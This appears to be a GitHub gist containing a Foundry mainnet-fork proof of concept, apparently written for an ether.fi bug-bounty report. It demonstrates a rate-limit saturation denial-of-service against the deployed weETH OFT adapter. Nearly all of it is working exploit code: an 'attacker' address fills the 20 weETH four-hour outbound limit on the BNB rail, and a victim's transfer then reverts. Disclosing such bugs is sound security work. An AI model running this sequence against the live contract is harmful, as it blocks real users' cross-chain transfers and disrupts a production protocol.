Created
September 16, 2026 21:05
-
-
Save CharaD7/77a5d4bad1cd9920399fa6a3ddcad1bc to your computer and use it in GitHub Desktop.
weETH OFT pairwise rate-limit rail-saturation DoS (live mainnet fork PoC, ether.fi/Immunefi)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // SPDX-License-Identifier: MIT | |
| pragma solidity ^0.8.20; | |
| import { Test } from "forge-std/Test.sol"; | |
| import { WeEthAbi } from "../src/WeEthAbi.sol"; | |
| /// @notice Live mainnet-fork proof of the per-rail rate-limit DoS on the | |
| /// deployed L1 weETH OFT adapter (EtherFiOFTAdapterUpgradeable). | |
| /// Rail L1->BNB (eid 30102): limit 20 weETH / 14400s, observed live. | |
| contract RailDoSTest is Test { | |
| using WeEthAbi for address; | |
| address constant L1_ADAPTER = 0xcd2eb13D6831d4602D80E5db9230A57596CDCA63; | |
| address constant WEETH = 0xCd5fE23C85820F7B72D0926FC9b05b43E359b7ee; | |
| uint32 constant BNB_EID = 30102; | |
| uint32 constant AVX_EID = 30106; | |
| address attacker = makeAddr("attacker"); | |
| address victim = makeAddr("victim"); | |
| function setUp() public {} | |
| function _approve(address who, uint256 amt) internal { | |
| vm.startPrank(who); | |
| (bool ok,) = WEETH.call(abi.encodeWithSignature("approve(address,uint256)", L1_ADAPTER, amt)); | |
| vm.stopPrank(); | |
| require(ok, "approve failed"); | |
| } | |
| function _fillRail(uint32 eid) internal { | |
| (,, uint256 limit, uint256 window) = L1_ADAPTER.outbound(eid); | |
| assertEq(limit, 20e18, "rail limit != 20 weETH"); | |
| assertEq(window, 14400, "rail window != 4h"); | |
| deal(WEETH, attacker, limit); | |
| _approve(attacker, limit); | |
| vm.startPrank(attacker); | |
| WeEthAbi.MessagingFee memory fee = WeEthAbi.quote( | |
| L1_ADAPTER, | |
| WeEthAbi.SendParam(eid, bytes32(uint256(uint160(attacker))), limit, limit, "", "", "") | |
| ); | |
| vm.deal(attacker, 1 ether + fee.nativeFee); | |
| bool ok; | |
| (ok, ) = WeEthAbi.send( | |
| L1_ADAPTER, | |
| WeEthAbi.SendParam(eid, bytes32(uint256(uint160(attacker))), limit, limit, "", "", ""), | |
| fee, | |
| attacker | |
| ); | |
| vm.stopPrank(); | |
| require(ok, "attacker fill send failed"); | |
| } | |
| function test_attacker_zeroes_Bnb_rail_then_user_blocked() public { | |
| // sanity: budget is full before attack | |
| (, uint256 beforeSend) = WeEthAbi.canSendPublic(L1_ADAPTER, BNB_EID); | |
| assertGt(beforeSend, 0, "rail already saturated"); | |
| _fillRail(BNB_EID); | |
| (, uint256 afterSend) = WeEthAbi.canSendPublic(L1_ADAPTER, BNB_EID); | |
| assertEq(afterSend, 0, "rail budget not zeroed by 20 weETH fill"); | |
| // victim's 1 weETH send on the same rail now reverts with the exact | |
| // OutboundRateLimitExceeded() selector (0x24292aa7), not a generic failure. | |
| deal(WEETH, victim, 1e18); | |
| _approve(victim, 1e18); | |
| vm.startPrank(victim); | |
| WeEthAbi.MessagingFee memory fee = WeEthAbi.quote( | |
| L1_ADAPTER, | |
| WeEthAbi.SendParam(BNB_EID, bytes32(uint256(uint160(victim))), 1e18, 1e18, "", "", "") | |
| ); | |
| vm.deal(victim, 1 ether + fee.nativeFee); | |
| (bool ok, bytes memory ret) = WeEthAbi.send( | |
| L1_ADAPTER, | |
| WeEthAbi.SendParam(BNB_EID, bytes32(uint256(uint160(victim))), 1e18, 1e18, "", "", ""), | |
| fee, | |
| victim | |
| ); | |
| vm.stopPrank(); | |
| assertFalse(ok, "victim send unexpectedly succeeded on saturated rail"); | |
| // revert reason must be the pairwise rate limiter error | |
| require(ret.length >= 4, "no revert data"); | |
| bytes4 sel = bytes4(ret); | |
| assertEq(sel, bytes4(0x24292aa7), "expected OutboundRateLimitExceeded()"); | |
| } | |
| function test_Avx_rail_equally_limited_live() public { | |
| (,, uint256 limit,) = L1_ADAPTER.outbound(AVX_EID); | |
| assertEq(limit, 20e18, "Avax rail limit != 20 weETH"); | |
| } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment